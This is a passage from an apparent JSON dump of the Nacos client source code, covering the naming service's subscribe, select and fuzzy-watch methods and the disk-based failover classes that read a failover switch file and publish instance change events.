clusterSelector = NamingSelectorFactory.newClusterSelector(clusters);\n        if (serviceInfoHolder.isFailoverSwitch()) {\n            serviceInfo = getServiceInfoByFailover(serviceName, groupName, clusterSelector);\n            if (serviceInfo != null && !serviceInfo.getHosts().isEmpty()) {\n                NAMING_LOGGER.debug(\"getServiceInfo from failover,serviceName: {}  data:{}\", serviceName,\n                        JacksonUtils.toJson(serviceInfo.getHosts()));\n                return serviceInfo;\n            }\n        }\n        serviceInfo = getServiceInfoBySubscribe(serviceName, groupName, clusters, clusterSelector, subscribe);\n        return serviceInfo;\n    }\n    \n    private ServiceInfo getServiceInfoByFailover(String serviceName, String groupName, NamingSelector clusterSelector) {\n        ServiceInfo result = serviceInfoHolder.getFailoverServiceInfo(serviceName, groupName);\n        return doSelectInstance(result, clusterSelector);\n    }\n    \n    private ServiceInfo getServiceInfoBySubscribe(String serviceName, String groupName, List<String> clusters,\n            NamingSelector selector, boolean subscribe) throws NacosException {\n        ServiceInfo serviceInfo;\n        if (subscribe) {\n            serviceInfo = serviceInfoHolder.getServiceInfo(serviceName, groupName);\n            serviceInfo = tryToSubscribe(serviceName, groupName, serviceInfo);\n            serviceInfo = doSelectInstance(serviceInfo, selector);\n        } else {\n            String clusterString = NamingSelectorFactory.getUniqueClusterString(clusters);\n            serviceInfo = clientProxy.queryInstancesOfService(serviceName, groupName, clusterString, false);\n        }\n        return serviceInfo;\n    }\n    \n    private ServiceInfo tryToSubscribe(String serviceName, String groupName, ServiceInfo cachedServiceInfo)\n            throws NacosException {\n        // not found in cache, service never subscribed.\n        if (null == cachedServiceInfo) {\n            return clientProxy.subscribe(serviceName, groupName, StringUtils.EMPTY);\n        }\n        // found in cache, and subscribed.\n        if (clientProxy.isSubscribed(serviceName, groupName, StringUtils.EMPTY)) {\n            return cachedServiceInfo;\n        }\n        // found in cached, but not subscribed, such as cached from local file when starting.\n        ServiceInfo result = cachedServiceInfo;\n        try {\n            result = clientProxy.subscribe(serviceName, groupName, StringUtils.EMPTY);\n        } catch (NacosException e) {\n            NAMING_LOGGER.warn(\"Subscribe from Server failed, will use local cache. fail message: \", e);\n        }\n        return result;\n    }\n    \n    private ServiceInfo doSelectInstance(ServiceInfo serviceInfo, NamingSelector clusterSelector) {\n        if (null == serviceInfo) {\n            return null;\n        }\n        NamingContext context = new ServiceInfoContext(serviceInfo);\n        NamingResult result = clusterSelector.select(context);\n        serviceInfo.setHosts(result.getResult());\n        return serviceInfo;\n    }\n    \n    @Override\n    public Instance selectOneHealthyInstance(String serviceName) throws NacosException {\n        return selectOneHealthyInstance(serviceName, new ArrayList<>());\n    }\n    \n    @Override\n    public Instance selectOneHealthyInstance(String serviceName, String groupName) throws NacosException {\n        return selectOneHealthyInstance(serviceName, groupName, true);\n    }\n    \n    @Override\n    public Instance selectOneHealthyInstance(String serviceName, boolean subscribe) throws NacosException {\n        return selectOneHealthyInstance(serviceName, new ArrayList<>(), subscribe);\n    }\n    \n    @Override\n    public Instance selectOneHealthyInstance(String serviceName, String groupName, boolean subscribe)\n            throws NacosException {\n        return selectOneHealthyInstance(serviceName, groupName, new ArrayList<>(), subscribe);\n    }\n    \n    @Override\n    public Instance selectOneHealthyInstance(String serviceName, List<String> clusters) throws NacosException {\n        return selectOneHealthyInstance(serviceName, clusters, true);\n    }\n    \n    @Override\n    public Instance selectOneHealthyInstance(String serviceName, String groupName, List<String> clusters)\n            throws NacosException {\n        return selectOneHealthyInstance(serviceName, groupName, clusters, true);\n    }\n    \n    @Override\n    public Instance selectOneHealthyInstance(String serviceName, List<String> clusters, boolean subscribe)\n            throws NacosException {\n        return selectOneHealthyInstance(serviceName, Constants.DEFAULT_GROUP, clusters, subscribe);\n    }\n    \n    @Override\n    public Instance selectOneHealthyInstance(String serviceName, String groupName, List<String> clusters,\n            boolean subscribe) throws NacosException {\n        ServiceInfo serviceInfo = getServiceInfo(serviceName, groupName, clusters, subscribe);\n        return Balancer.RandomByWeight.selectHost(serviceInfo);\n    }\n    \n    @Override\n    public void subscribe(String serviceName, EventListener listener) throws NacosException {\n        subscribe(serviceName, new ArrayList<>(), listener);\n    }\n    \n    @Override\n    public void subscribe(String serviceName, String groupName, EventListener listener) throws NacosException {\n        subscribe(serviceName, groupName, new ArrayList<>(), listener);\n    }\n    \n    @Override\n    public void subscribe(String serviceName, List<String> clusters, EventListener listener) throws NacosException {\n        subscribe(serviceName, Constants.DEFAULT_GROUP, clusters, listener);\n    }\n    \n    @Override\n    public void subscribe(String serviceName, String groupName, List<String> clusters, EventListener listener)\n            throws NacosException {\n        NamingSelector clusterSelector = NamingSelectorFactory.newClusterSelector(clusters);\n        doSubscribe(serviceName, groupName, getUniqueClusterString(clusters), clusterSelector, listener);\n    }\n    \n    @Override\n    public void subscribe(String serviceName, NamingSelector selector, EventListener listener) throws NacosException {\n        subscribe(serviceName, Constants.DEFAULT_GROUP, selector, listener);\n    }\n    \n    @Override\n    public void subscribe(String serviceName, String groupName, NamingSelector selector, EventListener listener)\n            throws NacosException {\n        doSubscribe(serviceName, groupName, Constants.NULL, selector, listener);\n    }\n    \n    private void doSubscribe(String serviceName, String groupName, String clusters, NamingSelector selector,\n            EventListener listener) throws NacosException {\n        if (selector == null || listener == null) {\n            return;\n        }\n        NamingSelectorWrapper wrapper = new NamingSelectorWrapper(serviceName, groupName, clusters, selector, listener);\n        changeNotifier.registerListener(groupName, serviceName, wrapper);\n        notifyIfSubscribed(serviceName, groupName, wrapper);\n        clientProxy.subscribe(serviceName, groupName, Constants.NULL);\n    }\n    \n    @Override\n    public void unsubscribe(String serviceName, EventListener listener) throws NacosException {\n        unsubscribe(serviceName, new ArrayList<>(), listener);\n    }\n    \n    @Override\n    public void unsubscribe(String serviceName, String groupName, EventListener listener) throws NacosException {\n        unsubscribe(serviceName, groupName, new ArrayList<>(), listener);\n    }\n    \n    @Override\n    public void unsubscribe(String serviceName, List<String> clusters, EventListener listener) throws NacosException {\n        unsubscribe(serviceName, Constants.DEFAULT_GROUP, clusters, listener);\n    }\n    \n    @Override\n    public void unsubscribe(String serviceName, String groupName, List<String> clusters, EventListener listener)\n            throws NacosException {\n        NamingSelector clusterSelector = NamingSelectorFactory.newClusterSelector(clusters);\n        unsubscribe(serviceName, groupName, clusterSelector, listener);\n    }\n    \n    @Override\n    public void unsubscribe(String serviceName, NamingSelector selector, EventListener listener) throws NacosException {\n        unsubscribe(serviceName, Constants.DEFAULT_GROUP, selector, listener);\n    }\n    \n    @Override\n    public void unsubscribe(String serviceName, String groupName, NamingSelector selector, EventListener listener)\n            throws NacosException {\n        doUnsubscribe(serviceName, groupName, selector, listener);\n    }\n    \n    private void doUnsubscribe(String serviceName, String groupName, NamingSelector selector, EventListener listener)\n            throws NacosException {\n        if (selector == null || listener == null) {\n            return;\n        }\n        NamingSelectorWrapper wrapper = new NamingSelectorWrapper(selector, listener);\n        changeNotifier.deregisterListener(groupName, serviceName, wrapper);\n        if (!changeNotifier.isSubscribed(groupName, serviceName)) {\n            clientProxy.unsubscribe(serviceName, groupName, Constants.NULL);\n        }\n    }\n    \n    @Override\n    public void fuzzyWatch(String fixedGroupName, FuzzyWatchEventWatcher listener) throws NacosException {\n        doFuzzyWatch(ANY_PATTERN, fixedGroupName, listener);\n    }\n    \n    @Override\n    public void fuzzyWatch(String serviceNamePattern, String groupNamePattern, FuzzyWatchEventWatcher listener)\n            throws NacosException {\n        doFuzzyWatch(serviceNamePattern, groupNamePattern, listener);\n    }\n    \n    @Override\n    public Future<ListView<String>> fuzzyWatchWithServiceKeys(String fixedGroupName, FuzzyWatchEventWatcher listener)\n            throws NacosException {\n        return doFuzzyWatch(ANY_PATTERN, fixedGroupName, listener);\n    }\n    \n    @Override\n    public Future<ListView<String>> fuzzyWatchWithServiceKeys(String serviceNamePattern, String groupNamePattern,\n            FuzzyWatchEventWatcher listener) throws NacosException {\n        return doFuzzyWatch(serviceNamePattern, groupNamePattern, listener);\n    }\n    \n    private Future<ListView<String>> doFuzzyWatch(String serviceNamePattern, String groupNamePattern,\n            FuzzyWatchEventWatcher watcher) {\n        if (null == watcher) {\n            return null;\n        }\n        \n        String groupKeyPattern = FuzzyGroupKeyPattern.generatePattern(serviceNamePattern, groupNamePattern, namespace);\n        NamingFuzzyWatchContext namingFuzzyWatchContext = namingFuzzyWatchServiceListHolder.registerFuzzyWatcher(\n                groupKeyPattern, watcher);\n        return namingFuzzyWatchContext.createNewFuture();\n    }\n    \n    @Override\n    public void cancelFuzzyWatch(String fixedGroupName, FuzzyWatchEventWatcher listener) throws NacosException {\n        doCancelFuzzyWatch(ANY_PATTERN, fixedGroupName, listener);\n    }\n    \n    @Override\n    public void cancelFuzzyWatch(String serviceNamePattern, String fixedGroupName, FuzzyWatchEventWatcher listener)\n            throws NacosException {\n        doCancelFuzzyWatch(serviceNamePattern, fixedGroupName, listener);\n    }\n    \n    private void doCancelFuzzyWatch(String serviceNamePattern, String groupNamePattern, FuzzyWatchEventWatcher watcher)\n            throws NacosException {\n        if (null == watcher) {\n            return;\n        }\n        String groupKeyPattern = FuzzyGroupKeyPattern.generatePattern(serviceNamePattern, groupNamePattern, namespace);\n        \n        NamingFuzzyWatchContext namingFuzzyWatchContext = namingFuzzyWatchServiceListHolder.getFuzzyWatchContext(\n                groupKeyPattern);\n        if (namingFuzzyWatchContext != null) {\n            namingFuzzyWatchContext.removeWatcher(watcher);\n        }\n    }\n    \n    @Override\n    public ListView<String> getServicesOfServer(int pageNo, int pageSize) throws NacosException {\n        return getServicesOfServer(pageNo, pageSize, Constants.DEFAULT_GROUP);\n    }\n    \n    @Override\n    public ListView<String> getServicesOfServer(int pageNo, int pageSize, String groupName) throws NacosException {\n        return getServicesOfServer(pageNo, pageSize, groupName, null);\n    }\n    \n    @Override\n    public ListView<String> getServicesOfServer(int pageNo, int pageSize, AbstractSelector selector)\n            throws NacosException {\n        return getServicesOfServer(pageNo, pageSize, Constants.DEFAULT_GROUP, selector);\n    }\n    \n    @Override\n    public ListView<String> getServicesOfServer(int pageNo, int pageSize, String groupName, AbstractSelector selector)\n            throws NacosException {\n        return clientProxy.getServiceList(pageNo, pageSize, groupName, selector);\n    }\n    \n    @Override\n    public List<ServiceInfo> getSubscribeServices() {\n        return changeNotifier.getSubscribeServices();\n    }\n    \n    @Override\n    public String getServerStatus() {\n        return clientProxy.serverHealthy() ? UP : DOWN;\n    }\n    \n    @Override\n    public void shutDown() throws NacosException {\n        serviceInfoHolder.shutdown();\n        clientProxy.shutdown();\n        namingFuzzyWatchServiceListHolder.shutdown();\n        NotifyCenter.deregisterSubscriber(changeNotifier);\n    }\n    \n    private void batchCheckAndStripGroupNamePrefix(List<Instance> instances, String groupName) throws NacosException {\n        for (Instance instance : instances) {\n            checkAndStripGroupNamePrefix(instance, groupName);\n        }\n    }\n    \n    private void checkAndStripGroupNamePrefix(Instance instance, String groupName) throws NacosException {\n        String serviceName = instance.getServiceName();\n        if (NamingUtils.isServiceNameCompatibilityMode(serviceName)) {\n            String groupNameOfInstance = NamingUtils.getGroupName(serviceName);\n            if (!groupName.equals(groupNameOfInstance)) {\n                throw new NacosException(NacosException.CLIENT_INVALID_PARAM, String.format(\n                        \"wrong group name prefix of instance service name! it should be: %s, Instance: %s\", groupName,\n                        instance));\n            }\n            instance.setServiceName(NamingUtils.getServiceName(serviceName));\n        }\n    }\n    \n    private void notifyIfSubscribed(String serviceName, String groupName, NamingSelectorWrapper wrapper)\n            throws NacosException {\n        if (clientProxy.isSubscribed(serviceName, groupName, StringUtils.EMPTY)) {\n            NAMING_LOGGER.warn(\n                    \"Duplicate subscribe for groupName: {}, serviceName: {}; directly use current cached to notify.\",\n                    groupName, serviceName);\n            ServiceInfo serviceInfo = serviceInfoHolder.getServiceInfo(serviceName, groupName);\n            InstancesChangeEvent event = transferToEvent(serviceInfo);\n            wrapper.notifyListener(event);\n        }\n    }\n    \n    private InstancesChangeEvent transferToEvent(ServiceInfo serviceInfo) {\n        if (serviceInfo == null) {\n            return null;\n        }\n        InstancesDiff diff = new InstancesDiff();\n        diff.setAddedInstances(serviceInfo.getHosts());\n        return new InstancesChangeEvent(notifierEventScope, serviceInfo.getName(), serviceInfo.getGroupName(),\n                serviceInfo.getClusters(), serviceInfo.getHosts(), diff);\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/backups/FailoverData.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.backups;\n\n/**\n * Failover Data.\n *\n * @author zongkang.guo\n */\npublic class FailoverData {\n    \n    /**\n     * failover type,naming or config.\n     */\n    private final DataType dataType;\n    \n    /**\n     * failover data.\n     */\n    private final Object data;\n    \n    public FailoverData(DataType dataType, Object data) {\n        this.data = data;\n        this.dataType = dataType;\n    }\n    \n    public enum DataType {\n        /**\n         * naming.\n         */\n        naming,\n        /**\n         * config.\n         */\n        config\n    }\n    \n    public DataType getDataType() {\n        return dataType;\n    }\n    \n    public Object getData() {\n        return data;\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/backups/FailoverDataSource.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.backups;\n\nimport java.util.Map;\n\n/**\n * Failover Service Interface.\n *\n * @author Nacos\n */\npublic interface FailoverDataSource {\n    \n    /**\n     * Get current disaster recovery switch.\n     *\n     * @return\n     */\n    FailoverSwitch getSwitch();\n    \n    \n    /**\n     * Get current disaster recovery data.\n     *\n     * @return map\n     */\n    Map<String, FailoverData> getFailoverData();\n    \n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/backups/FailoverReactor.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.backups;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.naming.pojo.ServiceInfo;\nimport com.alibaba.nacos.client.naming.cache.InstancesDiffer;\nimport com.alibaba.nacos.client.naming.cache.ServiceInfoHolder;\nimport com.alibaba.nacos.client.naming.event.InstancesChangeEvent;\nimport com.alibaba.nacos.client.naming.event.InstancesDiff;\nimport com.alibaba.nacos.common.executor.NameThreadFactory;\nimport com.alibaba.nacos.common.lifecycle.Closeable;\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.spi.NacosServiceLoader;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.common.utils.ThreadUtils;\nimport io.micrometer.core.instrument.Gauge;\nimport io.micrometer.core.instrument.ImmutableTag;\nimport io.micrometer.core.instrument.Metrics;\nimport io.micrometer.core.instrument.Tag;\n\nimport java.util.ArrayList;\nimport java.util.Collection;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.ScheduledExecutorService;\nimport java.util.concurrent.ScheduledThreadPoolExecutor;\nimport java.util.concurrent.TimeUnit;\n\nimport static com.alibaba.nacos.client.utils.LogUtils.NAMING_LOGGER;\n\n/**\n * Failover reactor.\n *\n * @author nkorange\n */\npublic class FailoverReactor implements Closeable {\n    \n    private Map<String, ServiceInfo> serviceMap = new ConcurrentHashMap<>();\n    \n    private boolean failoverSwitchEnable;\n    \n    private final ServiceInfoHolder serviceInfoHolder;\n    \n    private final ScheduledExecutorService executorService;\n    \n    private final InstancesDiffer instancesDiffer;\n    \n    private FailoverDataSource failoverDataSource;\n    \n    private String notifierEventScope;\n    \n    public FailoverReactor(ServiceInfoHolder serviceInfoHolder, String notifierEventScope) {\n        this.serviceInfoHolder = serviceInfoHolder;\n        this.notifierEventScope = notifierEventScope;\n        this.instancesDiffer = new InstancesDiffer();\n        Collection<FailoverDataSource> dataSources = NacosServiceLoader.load(FailoverDataSource.class);\n        for (FailoverDataSource dataSource : dataSources) {\n            failoverDataSource = dataSource;\n            NAMING_LOGGER.info(\"FailoverDataSource type is {}\", dataSource.getClass());\n            break;\n        }\n        // init executorService\n        this.executorService = new ScheduledThreadPoolExecutor(1,\n                new NameThreadFactory(\"com.alibaba.nacos.naming.failover\"));\n        this.init();\n    }\n    \n    /**\n     * Init.\n     */\n    public void init() {\n        executorService.scheduleWithFixedDelay(new FailoverSwitchRefresher(), 0L, 5000L, TimeUnit.MILLISECONDS);\n    }\n    \n    class FailoverSwitchRefresher implements Runnable {\n        \n        @Override\n        public void run() {\n            try {\n                FailoverSwitch fSwitch = failoverDataSource.getSwitch();\n                if (fSwitch == null) {\n                    failoverSwitchEnable = false;\n                    return;\n                }\n                if (fSwitch.getEnabled() != failoverSwitchEnable) {\n                    NAMING_LOGGER.info(\"failover switch changed, new: {}\", fSwitch.getEnabled());\n                }\n                if (fSwitch.getEnabled()) {\n                    Map<String, ServiceInfo> failoverMap = new ConcurrentHashMap<>(200);\n                    Map<String, FailoverData> failoverData = failoverDataSource.getFailoverData();\n                    for (Map.Entry<String, FailoverData> entry : failoverData.entrySet()) {\n                        ServiceInfo newService = (ServiceInfo) entry.getValue().getData();\n                        ServiceInfo oldService = serviceMap.get(entry.getKey());\n                        InstancesDiff diff = instancesDiffer.doDiff(oldService, newService);\n                        if (diff.hasDifferent()) {\n                            NAMING_LOGGER.info(\"[NA] failoverdata isChangedServiceInfo. newService:{}\",\n                                    JacksonUtils.toJson(newService));\n                            NotifyCenter.publishEvent(new InstancesChangeEvent(notifierEventScope, newService.getName(),\n                                    newService.getGroupName(), newService.getClusters(), newService.getHosts(), diff));\n                        }\n                        failoverMap.put(entry.getKey(), (ServiceInfo) entry.getValue().getData());\n                    }\n                    \n                    if (!failoverMap.isEmpty()) {\n                        failoverServiceCntMetrics();\n                        serviceMap = failoverMap;\n                    }\n                    \n                    failoverSwitchEnable = true;\n                    return;\n                }\n                \n                if (failoverSwitchEnable && !fSwitch.getEnabled()) {\n                    Map<String, ServiceInfo> serviceInfoMap = serviceInfoHolder.getServiceInfoMap();\n                    for (Map.Entry<String, ServiceInfo> entry : serviceMap.entrySet()) {\n                        ServiceInfo oldService = entry.getValue();\n                        ServiceInfo newService = serviceInfoMap.get(entry.getKey());\n                        if (newService != null) {\n                            InstancesDiff diff = instancesDiffer.doDiff(oldService, newService);\n                            if (diff.hasDifferent()) {\n                                NotifyCenter.publishEvent(\n                                        new InstancesChangeEvent(notifierEventScope, newService.getName(),\n                                                newService.getGroupName(), newService.getClusters(),\n                                                newService.getHosts(), diff));\n                            }\n                        }\n                    }\n                    \n                    serviceMap.clear();\n                    failoverSwitchEnable = false;\n                    failoverServiceCntMetricsClear();\n                }\n            } catch (Exception e) {\n                NAMING_LOGGER.error(\"FailoverSwitchRefresher run err\", e);\n            }\n        }\n    }\n    \n    public boolean isFailoverSwitch() {\n        return failoverSwitchEnable;\n    }\n    \n    public boolean isFailoverSwitch(String serviceName) {\n        return failoverSwitchEnable && serviceMap.containsKey(serviceName) && serviceMap.get(serviceName).ipCount() > 0;\n    }\n    \n    public ServiceInfo getService(String key) {\n        ServiceInfo serviceInfo = serviceMap.get(key);\n        \n        if (serviceInfo == null) {\n            serviceInfo = new ServiceInfo();\n            serviceInfo.setName(key);\n        }\n        \n        return serviceInfo;\n    }\n    \n    /**\n     * shutdown ThreadPool.\n     *\n     * @throws NacosException Nacos exception\n     */\n    @Override\n    public void shutdown() throws NacosException {\n        String className = this.getClass().getName();\n        NAMING_LOGGER.info(\"{} do shutdown begin\", className);\n        ThreadUtils.shutdownThreadPool(executorService, NAMING_LOGGER);\n        NAMING_LOGGER.info(\"{} do shutdown stop\", className);\n    }\n    \n    private void failoverServiceCntMetrics() {\n        for (Map.Entry<String, ServiceInfo> entry : serviceMap.entrySet()) {\n            String serviceName = entry.getKey();\n            List<Tag> tags = new ArrayList<>();\n            tags.add(new ImmutableTag(\"service_name\", serviceName));\n            if (Metrics.globalRegistry.find(\"nacos_naming_client_failover_instances\").tags(tags).gauge() == null) {\n                Gauge.builder(\"nacos_naming_client_failover_instances\", () -> serviceMap.get(serviceName).ipCount())\n                        .tags(tags).register(Metrics.globalRegistry);\n            }\n        }\n    }\n    \n    private void failoverServiceCntMetricsClear() {\n        for (Map.Entry<String, ServiceInfo> entry : serviceMap.entrySet()) {\n            Gauge gauge = Metrics.globalRegistry.find(\"nacos_naming_client_failover_instances\")\n                    .tag(\"service_name\", entry.getKey()).gauge();\n            if (gauge != null) {\n                Metrics.globalRegistry.remove(gauge);\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/backups/FailoverSwitch.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.backups;\n\n/**\n * Failover switch.\n *\n * @author zongkang.guo\n */\npublic class FailoverSwitch {\n    \n    /**\n     * Failover switch enable.\n     */\n    private final boolean enabled;\n    \n    public boolean getEnabled() {\n        return enabled;\n    }\n    \n    public FailoverSwitch(boolean enabled) {\n        this.enabled = enabled;\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/backups/NamingFailoverData.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.backups;\n\nimport com.alibaba.nacos.api.naming.pojo.ServiceInfo;\n\n/**\n * Naming Failover Data.\n *\n * @author zongkang.guo\n */\npublic class NamingFailoverData extends FailoverData {\n    \n    private NamingFailoverData(ServiceInfo serviceInfo) {\n        super(DataType.naming, serviceInfo);\n    }\n    \n    public static NamingFailoverData newNamingFailoverData(ServiceInfo serviceInfo) {\n        return new NamingFailoverData(serviceInfo);\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/backups/datasource/DiskFailoverDataSource.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.backups.datasource;\n\nimport com.alibaba.nacos.api.naming.pojo.ServiceInfo;\nimport com.alibaba.nacos.client.naming.backups.FailoverData;\nimport com.alibaba.nacos.client.naming.backups.FailoverDataSource;\nimport com.alibaba.nacos.client.naming.backups.FailoverSwitch;\nimport com.alibaba.nacos.client.naming.backups.NamingFailoverData;\nimport com.alibaba.nacos.client.naming.cache.DiskCache;\nimport com.alibaba.nacos.client.naming.utils.CacheDirUtil;\nimport com.alibaba.nacos.client.naming.utils.UtilAndComs;\nimport com.alibaba.nacos.client.utils.ConcurrentDiskUtil;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nimport java.io.File;\nimport java.nio.charset.Charset;\nimport java.nio.file.Paths;\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.concurrent.ConcurrentHashMap;\n\nimport static com.alibaba.nacos.client.utils.LogUtils.NAMING_LOGGER;\n\n/**\n * Failover Data Disk Impl.\n *\n * @author zongkang.guo\n */\npublic class DiskFailoverDataSource implements FailoverDataSource {\n    \n    private static final String FAILOVER_DIR = \"/failover\";\n    \n    private static final String IS_FAILOVER_MODE = \"1\";\n    \n    private static final String NO_FAILOVER_MODE = \"0\";\n    \n    private static final String FAILOVER_MODE_PARAM = \"failover-mode\";\n    \n    private static final FailoverSwitch FAILOVER_SWITCH_FALSE = new FailoverSwitch(Boolean.FALSE);\n    \n    private static final FailoverSwitch FAILOVER_SWITCH_TRUE = new FailoverSwitch(Boolean.TRUE);\n    \n    private final Map<String, String> switchParams = new ConcurrentHashMap<>();\n    \n    private Map<String, FailoverData> serviceMap = new ConcurrentHashMap<>();\n    \n    private String failoverDir;\n    \n    private long lastModifiedMillis = 0L;\n    \n    public DiskFailoverDataSource() {\n        failoverDir = CacheDirUtil.getCacheDir() + FAILOVER_DIR;\n        switchParams.put(FAILOVER_MODE_PARAM, Boolean.FALSE.toString());\n    }\n    \n    class FailoverFileReader implements Runnable {\n        \n        @Override\n        public void run() {\n            Map<String, FailoverData> domMap = new HashMap<>(200);\n            \n            try {\n                File cacheDir = new File(failoverDir);\n                DiskCache.createFileIfAbsent(cacheDir, true);\n                \n                File[] files = cacheDir.listFiles();\n                if (files == null) {\n                    return;\n                }\n                \n                for (File file : files) {\n                    if (!file.isFile()) {\n                        continue;\n                    }\n                    \n                    if (file.getName().equals(UtilAndComs.FAILOVER_SWITCH)) {\n                        continue;\n                    }\n                    \n                    for (Map.Entry<String, ServiceInfo> entry : DiskCache.parseServiceInfoFromCache(file).entrySet()) {\n                        domMap.put(entry.getKey(), NamingFailoverData.newNamingFailoverData(entry.getValue()));\n                    }\n                }\n            } catch (Exception e) {\n                NAMING_LOGGER.error(\"[NA] failed to read cache file\", e);\n            }\n            \n            if (domMap.size() > 0) {\n                serviceMap = domMap;\n            }\n        }\n    }\n    \n    @Override\n    public FailoverSwitch getSwitch() {\n        try {\n            File switchFile = Paths.get(failoverDir, UtilAndComs.FAILOVER_SWITCH).toFile();\n            if (!switchFile.exists()) {\n                NAMING_LOGGER.debug(\"failover switch is not found, {}\", switchFile.getName());\n                switchParams.put(FAILOVER_MODE_PARAM, Boolean.FALSE.toString());\n                return FAILOVER_SWITCH_FALSE;\n            }\n            \n            long modified = switchFile.lastModified();\n            \n            if (lastModifiedMillis < modified) {\n                lastModifiedMillis = modified;\n                String failover = ConcurrentDiskUtil.getFileContent(switchFile.getPath(), Charset.defaultCharset().toString());\n                if (!StringUtils.isEmpty(failover)) {\n                    String[] lines = failover.split(DiskCache.getLineSeparator());\n                    \n                    for (String line : lines) {\n                        String line1 = line.trim();\n                        if (IS_FAILOVER_MODE.equals(line1)) {\n                            switchParams.put(FAILOVER_MODE_PARAM, Boolean.TRUE.toString());\n                            NAMING_LOGGER.info(\"failover-mode is on\");\n                            new FailoverFileReader().run();\n                            return FAILOVER_SWITCH_TRUE;\n                        } else if (NO_FAILOVER_MODE.equals(line1)) {\n                            switchParams.put(FAILOVER_MODE_PARAM, Boolean.FALSE.toString());\n                            NAMING_LOGGER.info(\"failover-mode is off\");\n                            return FAILOVER_SWITCH_FALSE;\n                        }\n                    }\n                }\n            }\n            return switchParams.get(FAILOVER_MODE_PARAM).equals(Boolean.TRUE.toString()) ? FAILOVER_SWITCH_TRUE : FAILOVER_SWITCH_FALSE;\n            \n        } catch (Throwable e) {\n            NAMING_LOGGER.error(\"[NA] failed to read failover switch.\", e);\n            switchParams.put(FAILOVER_MODE_PARAM, Boolean.FALSE.toString());\n            return FAILOVER_SWITCH_FALSE;\n        }\n    }\n    \n    @Override\n    public Map<String, FailoverData> getFailoverData() {\n        if (Boolean.parseBoolean(switchParams.get(FAILOVER_MODE_PARAM))) {\n            return serviceMap;\n        }\n        return new ConcurrentHashMap<>(0);\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/cache/DiskCache.java",
